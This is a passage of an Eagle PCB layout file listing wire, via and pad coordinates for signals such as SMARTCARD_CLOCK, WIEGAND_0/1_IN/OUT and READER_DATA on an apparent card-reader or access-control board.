x2=\"27.1\" y2=\"20.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"24.1\" y1=\"21.5\" x2=\"24.0378\" y2=\"21.53\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.7\" y1=\"20.3\" x2=\"28.7622\" y2=\"20.26\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"24.2\" y1=\"25.2\" x2=\"24.1\" y2=\"25.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"25.8\" y1=\"25.2\" x2=\"24.2\" y2=\"25.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"26.9\" y1=\"24.1\" x2=\"25.8\" y2=\"25.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.7\" y1=\"24.1\" x2=\"26.9\" y2=\"24.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"24.1\" y1=\"25.3\" x2=\"24.0378\" y2=\"25.34\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.7\" y1=\"24.1\" x2=\"28.7622\" y2=\"24.07\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.9\" y1=\"20.4\" x2=\"28.8\" y2=\"20.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"30.1\" y1=\"20.4\" x2=\"28.9\" y2=\"20.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"30.6\" y1=\"20.9\" x2=\"30.1\" y2=\"20.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"30.6\" y1=\"24\" x2=\"30.6\" y2=\"20.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.8\" y1=\"24\" x2=\"30.5\" y2=\"24\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"30.5\" y1=\"24\" x2=\"30.6\" y2=\"24\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.8\" y1=\"20.3\" x2=\"28.7622\" y2=\"20.26\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.8\" y1=\"24\" x2=\"28.7622\" y2=\"24.07\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"38.2\" y1=\"31.7\" x2=\"30.5\" y2=\"24\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"38.5\" y1=\"32\" x2=\"38.2\" y2=\"31.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"79.8\" y1=\"32\" x2=\"38.5\" y2=\"32\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"79.8\" y1=\"36.3\" x2=\"79.8\" y2=\"32\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"81.1\" y1=\"37.6\" x2=\"79.8\" y2=\"36.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"81.1\" y1=\"58.6\" x2=\"81.1\" y2=\"37.6\" width=\"0.2\" layer=\"16\"/>\n<via x=\"30.5\" y=\"24\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"38.2\" y=\"31.7\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"79.8\" y=\"32\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"77.7\" y=\"62\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"81.1\" y1=\"58.6\" x2=\"77.7\" y2=\"62\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"U6\" pad=\"81\"/>\n<wire x1=\"60.4\" y1=\"61.3\" x2=\"60.4\" y2=\"59.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.4\" y1=\"62.3\" x2=\"60.4\" y2=\"61.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.2\" y1=\"62.3\" x2=\"61.4\" y2=\"62.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"65.2\" y1=\"63.3\" x2=\"64.2\" y2=\"62.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"65.6\" y1=\"63.7\" x2=\"65.2\" y2=\"63.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"65.6\" y1=\"67.3\" x2=\"65.6\" y2=\"63.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"68.1\" y1=\"69.8\" x2=\"65.6\" y2=\"67.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"68.1\" y1=\"70.2\" x2=\"68.1\" y2=\"69.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"60.4\" y1=\"59.9\" x2=\"60.4052\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<via x=\"65.2\" y=\"63.3\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"25\"/>\n<wire x1=\"68.1\" y1=\"70.2\" x2=\"68.43\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"77.7\" y1=\"62\" x2=\"78.4\" y2=\"62\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"78.4\" y1=\"62\" x2=\"80.9\" y2=\"64.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"80.9\" y1=\"64.5\" x2=\"80.9\" y2=\"67.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"80.9\" y1=\"67.6\" x2=\"79.82\" y2=\"68.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"79.82\" y1=\"68.7\" x2=\"79.82\" y2=\"71.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"79.3\" y1=\"72.42\" x2=\"69\" y2=\"72.42\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"68.5\" y1=\"71.92\" x2=\"68.5\" y2=\"70.27\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"68.5\" y1=\"70.27\" x2=\"68.43\" y2=\"70.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"79.82\" y1=\"71.9\" x2=\"79.3\" y2=\"72.42\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"68.5\" y1=\"71.92\" x2=\"69\" y2=\"72.42\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"SMARTCARD_CLOCK\">\n<contactref element=\"U6\" pad=\"76\"/>\n<contactref element=\"U7\" pad=\"CARD_CLK_PIN3\"/>\n<wire x1=\"66.7\" y1=\"63.7\" x2=\"63.75\" y2=\"60.75\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.75\" y1=\"60.75\" x2=\"62.9\" y2=\"59.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"67.1\" y1=\"63.7\" x2=\"66.7\" y2=\"63.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"70.3\" y1=\"63.7\" x2=\"67.1\" y2=\"63.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"79.4\" y1=\"68.4\" x2=\"78.6\" y2=\"68.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"62.9\" y1=\"59.9\" x2=\"62.8944\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"15.6\" y1=\"43.4\" x2=\"14.6\" y2=\"42.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"15.6\" y1=\"58.4\" x2=\"15.6\" y2=\"43.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"20.4\" y1=\"63.2\" x2=\"15.6\" y2=\"58.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"45.8\" y1=\"63.2\" x2=\"20.4\" y2=\"63.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"48.4\" y1=\"65.8\" x2=\"45.8\" y2=\"63.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"56.6\" y1=\"66.4\" x2=\"56.3\" y2=\"66.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"58\" y1=\"66.4\" x2=\"56.6\" y2=\"66.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"60.5\" y1=\"63.9\" x2=\"58\" y2=\"66.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"60.5\" y1=\"63.6\" x2=\"60.5\" y2=\"63.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.2\" y1=\"62.9\" x2=\"60.5\" y2=\"63.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"61.2\" y1=\"60.9\" x2=\"61.2\" y2=\"62.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"61.6\" y1=\"60.5\" x2=\"61.2\" y2=\"60.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"63.7\" y1=\"60.5\" x2=\"61.6\" y2=\"60.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"63.7\" y1=\"60.8\" x2=\"63.7\" y2=\"60.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"11.5\" y1=\"38.3\" x2=\"11.42\" y2=\"38.24\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.7\" y1=\"60.8\" x2=\"63.75\" y2=\"60.75\" width=\"0.2\" layer=\"1\"/>\n<via x=\"67.1\" y=\"63.7\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"14.6\" y=\"42.4\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"20.4\" y=\"63.2\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"45.8\" y=\"63.2\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"48.4\" y=\"65.8\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"60.5\" y=\"63.6\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"63.7\" y=\"60.8\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"70.3\" y1=\"63.7\" x2=\"72.5\" y2=\"65.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"72.5\" y1=\"65.9\" x2=\"76.1\" y2=\"65.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"76.1\" y1=\"65.9\" x2=\"78.6\" y2=\"68.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"80.9\" y1=\"69.9\" x2=\"79.4\" y2=\"68.4\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"JP15\" pad=\"30\"/>\n<wire x1=\"80.9\" y1=\"69.9\" x2=\"80.9\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"80.9\" y1=\"70.2\" x2=\"81.13\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"56.3\" y1=\"66.1\" x2=\"52.8\" y2=\"66.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.8\" y1=\"66.1\" x2=\"52.4\" y2=\"66.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.4\" y1=\"66.5\" x2=\"49.1\" y2=\"66.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"49.1\" y1=\"66.5\" x2=\"48.4\" y2=\"65.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"11.5\" y1=\"38.3\" x2=\"11.5\" y2=\"38.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"11.5\" y1=\"38.5\" x2=\"14.7\" y2=\"41.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"14.7\" y1=\"41.7\" x2=\"14.7\" y2=\"42.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"14.7\" y1=\"42.3\" x2=\"14.6\" y2=\"42.4\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"TP22\" pad=\"TP\"/>\n<wire x1=\"11.5\" y1=\"38.5\" x2=\"10.8\" y2=\"37.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"10.8\" y1=\"37.8\" x2=\"9.3\" y2=\"37.8\" width=\"0.2\" layer=\"1\"/>\n<via x=\"9.3\" y=\"37.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"9.3\" y1=\"37.8\" x2=\"10.7\" y2=\"39.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"10.7\" y1=\"39.2\" x2=\"10.8\" y2=\"39.2\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"WIEGAND_1_OUT\">\n<contactref element=\"U6\" pad=\"77\"/>\n<wire x1=\"62.4\" y1=\"59\" x2=\"62.4\" y2=\"59.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"62.7\" y1=\"58.7\" x2=\"62.4\" y2=\"59\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.1\" y1=\"58.7\" x2=\"62.7\" y2=\"58.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"71.5\" y1=\"67.1\" x2=\"63.1\" y2=\"58.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"77.3\" y1=\"67.1\" x2=\"71.5\" y2=\"67.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"78.6\" y1=\"68.4\" x2=\"77.3\" y2=\"67.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"62.4\" y1=\"59.8\" x2=\"62.4118\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"JP15\" pad=\"29\"/>\n<wire x1=\"78.6\" y1=\"68.4\" x2=\"78.59\" y2=\"70.2\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"TP29\" pad=\"TP\"/>\n<wire x1=\"78.6\" y1=\"70.2\" x2=\"78.59\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"81\" y1=\"73.5\" x2=\"79.2\" y2=\"73.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"79.2\" y1=\"73.5\" x2=\"78.6\" y2=\"72.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"78.6\" y1=\"72.9\" x2=\"78.6\" y2=\"70.21\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"78.6\" y1=\"70.21\" x2=\"78.59\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"WIEGAND_0_OUT\">\n<contactref element=\"U6\" pad=\"78\"/>\n<wire x1=\"61.9\" y1=\"61.2\" x2=\"61.9\" y2=\"59.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"62.4\" y1=\"61.7\" x2=\"61.9\" y2=\"61.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"62.4\" y1=\"63.7\" x2=\"62.4\" y2=\"61.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"62.7\" y1=\"64\" x2=\"62.4\" y2=\"63.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"66.4\" y1=\"64\" x2=\"62.7\" y2=\"64\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"66.8\" y1=\"64.4\" x2=\"66.4\" y2=\"64\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"68.2\" y1=\"64.4\" x2=\"66.8\" y2=\"64.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"71.3\" y1=\"67.5\" x2=\"68.2\" y2=\"64.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"75.1\" y1=\"67.5\" x2=\"71.3\" y2=\"67.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"76.05\" y1=\"68.46\" x2=\"75.1\" y2=\"67.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.9\" y1=\"59.9\" x2=\"61.9038\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<via x=\"61.9\" y=\"61.2\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"62.4\" y=\"63.7\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"28\"/>\n<wire x1=\"76.05\" y1=\"68.46\" x2=\"76.05\" y2=\"70.2\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"TP33\" pad=\"TP\"/>\n<wire x1=\"76.1\" y1=\"73\" x2=\"76.1\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"75.9\" y1=\"73.5\" x2=\"76.1\" y2=\"73\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"76.1\" y1=\"70.2\" x2=\"76.05\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"WIEGAND_0_IN\">\n<contactref element=\"U6\" pad=\"82\"/>\n<wire x1=\"59.9\" y1=\"59\" x2=\"59.9\" y2=\"59.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"60.5\" y1=\"58.4\" x2=\"59.9\" y2=\"59\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"60.5\" y1=\"57.9\" x2=\"60.5\" y2=\"58.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"62.7\" y1=\"60.1\" x2=\"60.5\" y2=\"57.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"64.5\" y1=\"60.1\" x2=\"62.7\" y2=\"60.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"64.5\" y1=\"68\" x2=\"64.5\" y2=\"60.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"65.6\" y1=\"69.1\" x2=\"64.5\" y2=\"68\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"65.6\" y1=\"70.2\" x2=\"65.6\" y2=\"69.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"59.9\" y1=\"59.8\" x2=\"59.8972\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<via x=\"60.5\" y=\"57.9\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"24\"/>\n<wire x1=\"65.6\" y1=\"70.2\" x2=\"65.89\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"TP34\" pad=\"TP\"/>\n<wire x1=\"65.9\" y1=\"72.9\" x2=\"65.9\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"66\" y1=\"73.5\" x2=\"65.9\" y2=\"72.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"65.9\" y1=\"70.2\" x2=\"65.89\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"WIEGAND_1_IN\">\n<contactref element=\"U6\" pad=\"83\"/>\n<wire x1=\"59.4\" y1=\"60.9\" x2=\"59.4\" y2=\"59.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.5\" y1=\"63\" x2=\"59.4\" y2=\"60.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.2\" y1=\"63\" x2=\"61.5\" y2=\"63\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.3\" y1=\"63.1\" x2=\"63.2\" y2=\"63\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"63.3\" y1=\"70\" x2=\"63.3\" y2=\"63.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"63.1\" y1=\"70.2\" x2=\"63.3\" y2=\"70\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"59.4\" y1=\"59.9\" x2=\"59.3892\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<via x=\"63.2\" y=\"63\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"23\"/>\n<wire x1=\"63.1\" y1=\"70.2\" x2=\"63.35\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"TP35\" pad=\"TP\"/>\n<wire x1=\"63.4\" y1=\"70.2\" x2=\"63.35\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"60.4\" y1=\"73.5\" x2=\"62.9\" y2=\"73.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"62.9\" y1=\"73.5\" x2=\"63.4\" y2=\"73\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"63.4\" y1=\"73\" x2=\"63.4\" y2=\"70.25\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"63.4\" y1=\"70.25\" x2=\"63.35\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"RD7\">\n<contactref element=\"U6\" pad=\"84\"/>\n<wire x1=\"59.5\" y1=\"58.4\" x2=\"59.2\" y2=\"58.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"59.8\" y1=\"58.7\" x2=\"59.5\" y2=\"58.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"59.8\" y1=\"68.4\" x2=\"59.8\" y2=\"58.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"60.5\" y1=\"69.1\" x2=\"59.8\" y2=\"68.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"60.5\" y1=\"70.2\" x2=\"60.5\" y2=\"69.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"58.9\" y1=\"59.8\" x2=\"58.9066\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<via x=\"59.5\" y=\"58.4\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"22\"/>\n<wire x1=\"60.5\" y1=\"70.2\" x2=\"60.81\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"58.9\" y1=\"59.8\" x2=\"58.9\" y2=\"58.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"58.9\" y1=\"58.7\" x2=\"59.2\" y2=\"58.4\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"READER_DATA\">\n<contactref element=\"U6\" pad=\"68\"/>\n<contactref element=\"U3\" pad=\"4\"/>\n<contactref element=\"READER_DATA\" pad=\"TP\"/>\n<contactref element=\"JP8\" pad=\"1\"/>\n<wire x1=\"99.8\" y1=\"21.1\" x2=\"99.8\" y2=\"22.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"99.5\" y1=\"21.1\" x2=\"99.8\" y2=\"21.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"99.8\" y1=\"20.8\" x2=\"99.5\" y2=\"21.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"99.8\" y1=\"22.1\" x2=\"99.85\" y2=\"22.15\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"100.2\" y1=\"2.6\" x2=\"103\" y2=\"2.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"65.8\" y1=\"54.7\" x2=\"64.6\" y2=\"54.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"66.7\" y1=\"55.6\" x2=\"65.8\" y2=\"54.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"81.5\" y1=\"55.6\" x2=\"66.7\" y2=\"55.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"98.6\" y1=\"70.2\" x2=\"98.4\" y2=\"70\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"64.6\" y1=\"54.7\" x2=\"64.52\" y2=\"54.6892\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"98.6\" y1=\"22\" x2=\"99.5\" y2=\"21.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"98.6\" y1=\"31.3\" x2=\"98.6\" y2=\"22\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"97.6\" y1=\"32.3\" x2=\"98.6\" y2=\"31.3\" width=\"0.2\" layer=\"16\"/>\n<via x=\"99.5\" y=\"21.1\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"37\"/>\n<wire x1=\"98.6\" y1=\"70.2\" x2=\"98.91\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"99.8\" y1=\"20.8\" x2=\"99.8\" y2=\"10.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"99.8\" y1=\"10.5\" x2=\"102.1\" y2=\"8.2\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"TP7\" pad=\"TP\"/>\n<wire x1=\"102\" y1=\"5.7\" x2=\"102.1\" y2=\"5.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"102.1\" y1=\"5.8\" x2=\"102.1\" y2=\"8.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"98.4\" y1=\"70\" x2=\"98.4\" y2=\"63.4\" width=\"0.2\" layer=\"16\"/>\n<via x=\"97\" y=\"62.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"85.6\" y=\"62\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"85.6\" y1=\"62\" x2=\"85.1\" y2=\"62\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"85.1\" y1=\"62\" x2=\"82.5\" y2=\"59.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"82.5\" y1=\"59.4\" x2=\"82.5\" y2=\"56.6\" width=\"0.2\" layer=\"16\"/>\n<via x=\"82.5\" y=\"56.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"97.6\" y1=\"32.3\" x2=\"97.6\" y2=\"44.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"97.6\" y1=\"44.1\" x2=\"97.15\" y2=\"44.55\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"83.9\" y1=\"49.6\" x2=\"83.9\" y2=\"52.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"82.2\" y1=\"46.4\" x2=\"82.2\" y2=\"47.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"82.2\" y1=\"47.9\" x2=\"83.9\" y2=\"49.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"82.2\" y1=\"46.4\" x2=\"85\" y2=\"43.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"85\" y1=\"43.6\" x2=\"94.9\" y2=\"43.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"94.9\" y1=\"43.6\" x2=\"95.85\" y2=\"44.55\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"95.85\" y1=\"44.55\" x2=\"97.15\" y2=\"44.55\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"85.6\" y1=\"62\" x2=\"96.6\" y2=\"62\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"96.6\" y1=\"62\" x2=\"97\" y2=\"62.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"97\" y1=\"62.4\" x2=\"97.4\" y2=\"62.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"97.4\" y1=\"62.4\" x2=\"98.4\" y2=\"63.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"82.5\" y1=\"56.6\" x2=\"81.5\" y2=\"55.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"102\" y1=\"5.7\" x2=\"100.2\" y2=\"3.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"100.2\" y1=\"3.9\" x2=\"100.2\" y2=\"2.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"82.5\" y1=\"56.6\" x2=\"82.5\" y2=\"53.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"82.5\" y1=\"53.5\" x2=\"83.9\" y2=\"52.1\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"PIC_!SS1\">\n<contactref element=\"U6\" pad=\"69\"/>\n<contactref element=\"JP15\" pad=\"36\"/>\n<contactref element=\"USD_1\" pad=\"2\"/>\n<contactref element=\"R33\" pad=\"2\"/>\n<wire x1=\"88.6\" y1=\"50\" x2=\"88.55\" y2=\"49.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"88.55\" y1=\"48.85\" x2=\"88.55\" y2=\"49.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"102.95\" y1=\"52.05\" x2=\"102.8\" y2=\"51.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"102.8\" y1=\"51.9\" x2=\"101.8\" y2=\"51.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"101.8\" y1=\"51.9\" x2=\"101.7\" y2=\"51.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"101.7\" y1=\"51.8\" x2=\"101.7\" y2=\"47.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"101.7\" y1=\"47.7\" x2=\"99.55\" y2=\"45.55\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"TP24\" pad=\"TP\"/>\n<wire x1=\"99.55\" y1=\"45.55\" x2=\"99.1\" y2=\"45.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"63\" y1=\"54.6\" x2=\"61.7\" y2=\"54.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.5\" y1=\"55.2\" x2=\"63.6\" y2=\"55.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.5\" y1=\"55.2\" x2=\"64.52\" y2=\"55.1972\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.7\" y1=\"54.6\" x2=\"61.5\" y2=\"54.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"63.6\" y1=\"54.6\" x2=\"61.7\" y2=\"54.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"67.8\" y1=\"58.8\" x2=\"63.6\" y2=\"54.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"68.2\" y1=\"58.8\" x2=\"67.8\" y2=\"58.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"72.8\" y1=\"59.9\" x2=\"72.5\" y2=\"60.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"74.4\" y1=\"59.9\" x2=\"72.8\" y2=\"59.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"75.3\" y1=\"59\" x2=\"74.4\" y2=\"59.9\" width=\"0.2\" layer=\"16\"/>\n<wire 